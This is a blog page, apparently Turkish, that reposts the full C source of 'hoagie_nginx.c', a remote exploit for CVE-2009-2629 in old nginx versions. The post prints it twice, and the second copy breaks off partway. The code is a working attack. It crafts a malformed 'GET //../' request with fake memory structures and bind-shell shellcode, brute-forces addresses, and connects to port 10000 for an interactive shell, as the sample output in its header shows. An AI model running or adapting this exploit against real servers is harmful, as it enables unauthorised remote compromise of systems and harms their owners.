nginx etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
nginx etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

9 Eylül 2010 Perşembe

REMOTE NGINX EXPLOIT

/***********************************************************
 * hoagie_nginx.c
 * REMOTE NGINX EXPLOIT
 * (< 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15) - CVE-2009-2629
 *
 * Bug reported by
 * Chris Ries
 * Carnegie Mellon University Information Security Office
 *
 *
 * ngx_http_parse.c: ngx_http_parse_complex_uri()
 * ...
 * u -= 4;
 * if (u < r->uri.data) {
 *    return NGX_HTTP_PARSE_INVALID_REQUEST;
 * }
 * while (*(u - 1) != '/') {
 *    u--;
 * }
 *
 * The bug can be triggered when the character '/' is at index
 * 4 because then nginx will lookup all bytes before the url
 * in memory (u - 4 points to first character of the url and
 * u - 5 points to first character before the url)
 *
 * GET //../ HTTP/1.0
 *     ^   ^
 *     |   |
 *     |   u
 *     u - 4
 *
 * Note:
 * Since version 0.5.34 and 0.6.15 there is an option called
 * merge_slashes (that is on per default).
 *
 * $ ~/hn -d localhost -p 8888 -o 0x86B1043
 * hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 remote/local
 * -andi / void.at
 *
 * [*] connecting to localhost:8888 ...
 * [*] exploiting nginx with ctx buffer at 0x086b1043
 * Linux lenny 2.6.26-1-686 #1 SMP Fri Mar 13 18:08:45 UTC 2009 i686 GNU/Linux
 * id
 * uid=33(www-data) gid=33(www-data) groups=33(www-data)
 * $
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DEFAULT_PORT                  "80"
#define INIT_COMMAND                  "uname -a\n"

#define    CTX_ADDRESS_LOCATION_OFFSET    0xa2
#define CTX_LOCATION_OFFSET        0x47a

#define BUFFER_MAX_SIZE         0x1000

char shellcode[] =
   "\x31\xdb"                   // xor  ebx, ebx
   "\xf7\xe3"                   // mul  ebx
   "\xb0\x66"                   // mov     al, 102
   "\x53"                       // push    ebx
   "\x43"                       // inc     ebx
   "\x53"                       // push    ebx
   "\x43"                       // inc     ebx
   "\x53"                       // push    ebx
   "\x89\xe1"                   // mov     ecx, esp
   "\x4b"                       // dec     ebx
   "\xcd\x80"                   // int     80h
   "\x89\xc7"                   // mov     edi, eax
   "\x52"                       // push    edx
   "\x66\x68\x27\x10"           // push    word 4135
   "\x43"                       // inc     ebx
   "\x66\x53"                   // push    bx
   "\x89\xe1"                   // mov     ecx, esp
   "\xb0\x10"                   // mov  al, 16
   "\x50"                       // push eax
   "\x51"                       // push    ecx
   "\x57"                       // push    edi
   "\x89\xe1"                   // mov     ecx, esp
   "\xb0\x66"                   // mov     al, 102
   "\xcd\x80"                   // int     80h
   "\xb0\x66"                   // mov     al, 102
   "\xb3\x04"                   // mov     bl, 4
   "\xcd\x80"                   // int     80h
   "\x50"                       // push eax
   "\x50"                       // push eax
   "\x57"                       // push edi
   "\x89\xe1"                   // mov  ecx, esp
   "\x43"                       // inc  ebx
   "\xb0\x66"                   // mov  al, 102
   "\xcd\x80"                   // int  80h
   "\x89\xd9"                   // mov  ecx, ebx
   "\x89\xc3"                   // mov     ebx, eax
   "\xb0\x3f"                   // mov     al, 63
   "\x49"                       // dec     ecx
   "\xcd\x80"                   // int     80h
   "\x41"                       // inc     ecx
   "\xe2\xf8"                   // loop    lp
   "\x51"                       // push    ecx
   "\x68\x6e\x2f\x73\x68"       // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"       // push    dword 69622f2fh
   "\x89\xe3"                   // mov     ebx, esp
   "\x51"                       // push    ecx
   "\x53"                       // push ebx
   "\x89\xe1"                   // mov  ecx, esp
   "\xb0\x0b"                   // mov  al, 11
   "\xcd\x80";                  // int     80h

unsigned int prepare_buffer(char *buffer, unsigned int buffer_size,
                            unsigned int ctx_offset, char *shellcode,
                            unsigned int shellcode_length) {
   unsigned int pool_addr = ctx_offset + 0x38;
   unsigned int data_addr = pool_addr + 0x20;
   unsigned int shell_padding = 0x20;
   unsigned int shell_addr = data_addr + 0x4 + shell_padding;
   unsigned int i;
   unsigned int j;
   unsigned int buffer_offset;
   unsigned int buffer_length;

   memset(buffer, 0, buffer_size);

   buffer_offset = sprintf((char*)buffer, "GET //../");

   /* prepare pseudo nginx pool memory layout */
   memset(buffer + buffer_offset, 'A', CTX_LOCATION_OFFSET);
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET] = ctx_offset & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 1] = (ctx_offset >> 8) & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 2] = (ctx_offset >> 16) & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 3] = (ctx_offset >> 24) & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 4] = 0;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 5] = 0;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 6] = 0;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 7] = 0;


   buffer_offset += CTX_LOCATION_OFFSET;

   /* ngx_output_chain_ctx_t { */
   /*    ngx_buf_t                   *buf; */
   /* src/core/ngx_output_chain.c:280 */
   /* for (cl = *chain; cl; cl = cl->next) { */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_chain_t                 *in; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_chain_t                 *free; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_chain_t                 *busy; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    unsigned                     sendfile; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    unsigned                     need_in_memory; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    unsigned                     need_in_temp; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_t                  *pool; */
   buffer[buffer_offset++] = pool_addr & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
   /*    ngx_int_t                    allocated; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_bufs_t                   bufs; */
   /* typedef struct { */
   /* ngx_int_t    num; */
   /* size_t       size;*/
   /*} ngx_bufs_t;
    * so we need 8 bytes in this case
    */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_buf_tag_t                tag; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_output_chain_filter_pt   output_filter; */
   buffer[buffer_offset++] = shell_addr & 0xff;
   buffer[buffer_offset++] = (shell_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (shell_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (shell_addr >> 24) & 0xff;
   /*    void                        *filter_ctx; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /* } */

   /* append our pool memory structure (used by ctx structure) */
   /* struct ngx_pool_s { */
   /*    u_char               *last; */
   /*    will be used after return of memory allocation */
   /*  src/core/ngx_output_chain.c:322 */
   /*  cl->buf = in->buf; */
   buffer[buffer_offset++] = data_addr & 0xff;
   buffer[buffer_offset++] = (data_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (data_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (data_addr >> 24) & 0xff;
   /*    u_char               *end; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_t           *current; */
   /* src/core/ngx_palloc.c:95 */
   /* p = pool->current; */
   buffer[buffer_offset++] = pool_addr & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
   /*    ngx_chain_t          *chain; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_t           *next; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_large_t     *large; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*   ngx_pool_cleanup_t   *cleanup; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*   ngx_log_t            *log; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /* }; */

   /* fill buffer that will be used for return from internal nginx alloc functions */
   /* data buffer */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;

   memcpy(buffer + buffer_offset + shell_padding, shellcode, shellcode_length);
   buffer_offset += shellcode_length + shell_padding;

   buffer_length = sprintf((char*)buffer + buffer_offset, " HTTP/1.0\r\n\r\n");

   return buffer_offset + buffer_length;
}

int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          close(s);
          return -3;
       }
   }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      close(s);
      return -4;
   }

   return s;
}

void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-d ] [-p ] [-b ] [-o \n"
           "\n"
           "-h        help\n"
           "-v        verbose\n"
           "-d host   HTTP server\n"
           "-p port   HTTP port (default: %s)\n"
           "-o offset memory address for user defined ctx buffer\n"
           "-b range  bruteforce range for ctx buffer\n"
           "\n"
           ,
           argv[0],
           DEFAULT_PORT);
   exit(1);
}

void shell(int s) {
   fd_set fs;
   int r;
   char buffer[4096];

   FD_ZERO(&fs);
   FD_SET(0, &fs);
   FD_SET(s, &fs);

   while (select(s + 1, &fs, NULL, NULL, NULL)) {
      if (FD_ISSET(0, &fs)) {
         r = read(0, buffer, 1);
         if (r > 0) {
            write(s, buffer, r);
         }
      } if (FD_ISSET(s, &fs)) {
         r = read(s, buffer, sizeof(buffer));
         if (r > 0) {
            write(1, buffer, r);
         }
      }
      FD_ZERO(&fs);
      FD_SET(0, &fs);
      FD_SET(s, &fs);
   }
}

void exploit(char *server, int port, unsigned int base_addr, char *shellcode,
             int shellcode_length) {
   char buffer[4096];
   unsigned int buffer_length;
   int s = connect_to(server, port);

   if (s > 0) {
      buffer_length = prepare_buffer(buffer, sizeof(buffer), base_addr,
                                     shellcode, shellcode_length);
      write(s, buffer, buffer_length);
      close(s);

      s = connect_to(server, 10000);
      if (s > 0) {
         write(s, INIT_COMMAND, strlen(INIT_COMMAND));
         shell(s);
         close(s);
      } else {
         fprintf(stderr, "[*] exploit failed (try using bruteforce (-b))\n");
      }
   } else {
      fprintf(stderr, "[*] connect to '%s:%d' failed\n", server, port);
   }
}

int main(int argc, char **argv) {
   unsigned int base_addr = 0;
   unsigned int bruteforce_from = 0, bruteforce_to = 0;
   char *server = NULL;
   char *port = DEFAULT_PORT;
   char c;
   unsigned int idx = 0;

   fprintf(stderr,
           "hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 "
           "remote/local\n-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hd:p:b:o:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 server = optarg;
                 break;
            case 'p':
                 port = optarg;
                 break;
            case 'b':
                 if (sscanf(optarg, "0x%x-0x%x",
                     &bruteforce_from, &bruteforce_to) != 1 ||
                     !bruteforce_from || !bruteforce_to) {
                    fprintf(stderr, "[*] invalid brute force range: '%s'\n",
                            optarg);
                 }
                 break;
            case 'o':
                 base_addr = 0;
                 if (sscanf(optarg, "0x%x", &base_addr) != 1 || !base_addr) {
                    fprintf(stderr, "[*] invalid base address: '%s'\n", optarg);
                 }
                 break;
            default:
                 fprintf(stderr, "[*] unknown command line option '%c'\n", c);
                 exit(-1);
         }
      }

      if (!server) {
         fprintf(stderr, "[*] server is missing\n");
      } else {
         printf("[*] connecting to %s:%s ...\n", server, port);
         if (base_addr) {
            printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
                   base_addr);
            exploit(server, atoi(port), base_addr, shellcode,
                    strlen(shellcode));
         } else {
            printf("[*] exploiting nginx with ctx buffer from "
                   "0x%08x to 0x%08x\n", bruteforce_from, bruteforce_to);
            for (base_addr = bruteforce_from; base_addr < bruteforce_to;
                 base_addr++) {
               printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
                      base_addr);
               exploit(server, atoi(port), base_addr, shellcode,
                       strlen(shellcode));
            }
         }
      }

    }

    return 0;
}

REMOTE NGINX EXPLOIT

/***********************************************************
 * hoagie_nginx.c
 * REMOTE NGINX EXPLOIT
 * (< 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15) - CVE-2009-2629
 *
 * Bug reported by
 * Chris Ries
 * Carnegie Mellon University Information Security Office
 *
 *
 * ngx_http_parse.c: ngx_http_parse_complex_uri()
 * ...
 * u -= 4;
 * if (u < r->uri.data) {
 *    return NGX_HTTP_PARSE_INVALID_REQUEST;
 * }
 * while (*(u - 1) != '/') {
 *    u--;
 * }
 *
 * The bug can be triggered when the character '/' is at index
 * 4 because then nginx will lookup all bytes before the url
 * in memory (u - 4 points to first character of the url and
 * u - 5 points to first character before the url)
 *
 * GET //../ HTTP/1.0
 *     ^   ^
 *     |   |
 *     |   u
 *     u - 4
 *
 * Note:
 * Since version 0.5.34 and 0.6.15 there is an option called
 * merge_slashes (that is on per default).
 *
 * $ ~/hn -d localhost -p 8888 -o 0x86B1043
 * hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 remote/local
 * -andi / void.at
 *
 * [*] connecting to localhost:8888 ...
 * [*] exploiting nginx with ctx buffer at 0x086b1043
 * Linux lenny 2.6.26-1-686 #1 SMP Fri Mar 13 18:08:45 UTC 2009 i686 GNU/Linux
 * id
 * uid=33(www-data) gid=33(www-data) groups=33(www-data)
 * $
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DEFAULT_PORT                  "80"
#define INIT_COMMAND                  "uname -a\n"

#define    CTX_ADDRESS_LOCATION_OFFSET    0xa2
#define CTX_LOCATION_OFFSET        0x47a

#define BUFFER_MAX_SIZE         0x1000

char shellcode[] =
   "\x31\xdb"                   // xor  ebx, ebx
   "\xf7\xe3"                   // mul  ebx
   "\xb0\x66"                   // mov     al, 102
   "\x53"                       // push    ebx
   "\x43"                       // inc     ebx
   "\x53"                       // push    ebx
   "\x43"                       // inc     ebx
   "\x53"                       // push    ebx
   "\x89\xe1"                   // mov     ecx, esp
   "\x4b"                       // dec     ebx
   "\xcd\x80"                   // int     80h
   "\x89\xc7"                   // mov     edi, eax
   "\x52"                       // push    edx
   "\x66\x68\x27\x10"           // push    word 4135
   "\x43"                       // inc     ebx
   "\x66\x53"                   // push    bx
   "\x89\xe1"                   // mov     ecx, esp
   "\xb0\x10"                   // mov  al, 16
   "\x50"                       // push eax
   "\x51"                       // push    ecx
   "\x57"                       // push    edi
   "\x89\xe1"                   // mov     ecx, esp
   "\xb0\x66"                   // mov     al, 102
   "\xcd\x80"                   // int     80h
   "\xb0\x66"                   // mov     al, 102
   "\xb3\x04"                   // mov     bl, 4
   "\xcd\x80"                   // int     80h
   "\x50"                       // push eax
   "\x50"                       // push eax
   "\x57"                       // push edi
   "\x89\xe1"                   // mov  ecx, esp
   "\x43"                       // inc  ebx
   "\xb0\x66"                   // mov  al, 102
   "\xcd\x80"                   // int  80h
   "\x89\xd9"                   // mov  ecx, ebx
   "\x89\xc3"                   // mov     ebx, eax
   "\xb0\x3f"                   // mov     al, 63
   "\x49"                       // dec     ecx
   "\xcd\x80"                   // int     80h
   "\x41"                       // inc     ecx
   "\xe2\xf8"                   // loop    lp
   "\x51"                       // push    ecx
   "\x68\x6e\x2f\x73\x68"       // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"       // push    dword 69622f2fh
   "\x89\xe3"                   // mov     ebx, esp
   "\x51"                       // push    ecx
   "\x53"                       // push ebx
   "\x89\xe1"                   // mov  ecx, esp
   "\xb0\x0b"                   // mov  al, 11
   "\xcd\x80";                  // int     80h

unsigned int prepare_buffer(char *buffer, unsigned int buffer_size,
                            unsigned int ctx_offset, char *shellcode,
                            unsigned int shellcode_length) {
   unsigned int pool_addr = ctx_offset + 0x38;
   unsigned int data_addr = pool_addr + 0x20;
   unsigned int shell_padding = 0x20;
   unsigned int shell_addr = data_addr + 0x4 + shell_padding;
   unsigned int i;
   unsigned int j;
   unsigned int buffer_offset;
   unsigned int buffer_length;

   memset(buffer, 0, buffer_size);

   buffer_offset = sprintf((char*)buffer, "GET //../");

   /* prepare pseudo nginx pool memory layout */
   memset(buffer + buffer_offset, 'A', CTX_LOCATION_OFFSET);
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET] = ctx_offset & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 1] = (ctx_offset >> 8) & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 2] = (ctx_offset >> 16) & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 3] = (ctx_offset >> 24) & 0xff;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 4] = 0;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 5] = 0;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 6] = 0;
   buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 7] = 0;


   buffer_offset += CTX_LOCATION_OFFSET;

   /* ngx_output_chain_ctx_t { */
   /*    ngx_buf_t                   *buf; */
   /* src/core/ngx_output_chain.c:280 */
   /* for (cl = *chain; cl; cl = cl->next) { */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_chain_t                 *in; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_chain_t                 *free; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_chain_t                 *busy; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    unsigned                     sendfile; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    unsigned                     need_in_memory; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    unsigned                     need_in_temp; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_t                  *pool; */
   buffer[buffer_offset++] = pool_addr & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
   /*    ngx_int_t                    allocated; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_bufs_t                   bufs; */
   /* typedef struct { */
   /* ngx_int_t    num; */
   /* size_t       size;*/
   /*} ngx_bufs_t;
    * so we need 8 bytes in this case
    */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_buf_tag_t                tag; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_output_chain_filter_pt   output_filter; */
   buffer[buffer_offset++] = shell_addr & 0xff;
   buffer[buffer_offset++] = (shell_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (shell_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (shell_addr >> 24) & 0xff;
   /*    void                        *filter_ctx; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /* } */

   /* append our pool memory structure (used by ctx structure) */
   /* struct ngx_pool_s { */
   /*    u_char               *last; */
   /*    will be used after return of memory allocation */
   /*  src/core/ngx_output_chain.c:322 */
   /*  cl->buf = in->buf; */
   buffer[buffer_offset++] = data_addr & 0xff;
   buffer[buffer_offset++] = (data_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (data_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (data_addr >> 24) & 0xff;
   /*    u_char               *end; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_t           *current; */
   /* src/core/ngx_palloc.c:95 */
   /* p = pool->current; */
   buffer[buffer_offset++] = pool_addr & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
   buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
   /*    ngx_chain_t          *chain; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_t           *next; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*    ngx_pool_large_t     *large; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*   ngx_pool_cleanup_t   *cleanup; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /*   ngx_log_t            *log; */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   /* }; */

   /* fill buffer that will be used for return from internal nginx alloc functions */
   /* data buffer */
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;
   buffer[buffer_offset++] = 0x00;

   memcpy(buffer + buffer_offset + shell_padding, shellcode, shellcode_length);
   buffer_offset += shellcode_length + shell_padding;

   buffer_length = sprintf((char*)buffer + buffer_offset, " HTTP/1.0\r\n\r\n");

   return buffer_offset + buffer_length;
}

int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          close(s);
          return -3;
       }
   }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      close(s);
      return -4;
   }

   return s;
}

void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-d ] [-p ] [-b ] [-o \n"
           "\n"
           "-h        help\n"
           "-v        verbose\n"
           "-d host   HTTP server\n"
           "-p port   HTTP port (default: %s)\n"
           "-o offset memory address for user defined ctx buffer\n"
           "-b range  bruteforce range for ctx buffer\n"
           "\n"
           ,
           argv[0],
           DEFAULT_PORT);
   exit(1);
}

void shell(int s) {
   fd_set fs;
   int r;
   char buffer[4096];

   FD_ZERO(&fs);
   FD_SET(0, &fs);
   FD_SET(s, &fs);

   while (select(s + 1, &fs, NULL, NULL, NULL)) {
      if (FD_ISSET(0, &fs)) {
         r = read(0, buffer, 1);
         if (r > 0) {
            write(s, buffer, r);
         }
      } if (FD_ISSET(s, &fs)) {
         r = read(s, buffer, sizeof(buffer));
         if (r > 0) {
            write(1, buffer, r);
         }
      }
      FD_ZERO(&fs);
      FD_SET(0, &fs);
      FD_SET(s, &fs);
   }
}

void exploit(char *server, int port, unsigned int base_addr, char *shellcode,
             int shellcode_length) {
   char buffer[4096];
   unsigned int buffer_length;
   int s = connect_to(server, port);

   if (s > 0) {
      buffer_length = prepare_buffer(buffer, sizeof(buffer), base_addr,
                                     shellcode, shellcode_length);
      write(s, buffer, buffer_length);
      close(s);

      s = connect_to(server, 10000);
      if (s > 0) {
         write(s, INIT_COMMAND, strlen(INIT_COMMAND));
         shell(s);
         close(s);
      } else {
         fprintf(stderr, "[*] exploit failed (try using bruteforce (-b))\n");
      }
   } else {
      fprintf(stderr, "[*] connect to '%s:%d' failed\n", server, port);
   }
}

int main(int argc, char **argv) {
   unsigned int base_addr = 0;
   unsigned int bruteforce_from = 0, bruteforce_to = 0;
   char *server = NULL;
   char *port = DEFAULT_PORT;
   char c;
   unsigned int idx = 0;

   fprintf(stderr,
           "hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 "
           "remote/local\n-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hd:p:b:o:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 server = optarg;
                 break;
            case 'p':
                 port = optarg;
                 break;
            case 'b':
                 if (sscanf(optarg, "0x%x-0x%x",
                     &bruteforce_from, &bruteforce_to) != 1 ||
                     !bruteforce_from || !bruteforce_to) {
                    fprintf(stderr, "[*] invalid brute force range: '%s'\n",
                            optarg);
                 }
                 break;
            case 'o':
                 base_addr = 0;
                 if (sscanf(optarg, "0x%x", &base_addr) != 1 || !base_addr) {
                    fprintf(stderr, "[*] invalid base address: '%s'\n", optarg);
                 }
                 break;
            default:
                 fprintf(stderr, "[*] unknown command line option '%c'\n", c);
                 exit(-1);
         }
      }

      if (!server) {
         fprintf(stderr, "[*] server is missing\n");
      } else {
         printf("[*] connecting to %s:%s ...\n", server, port);
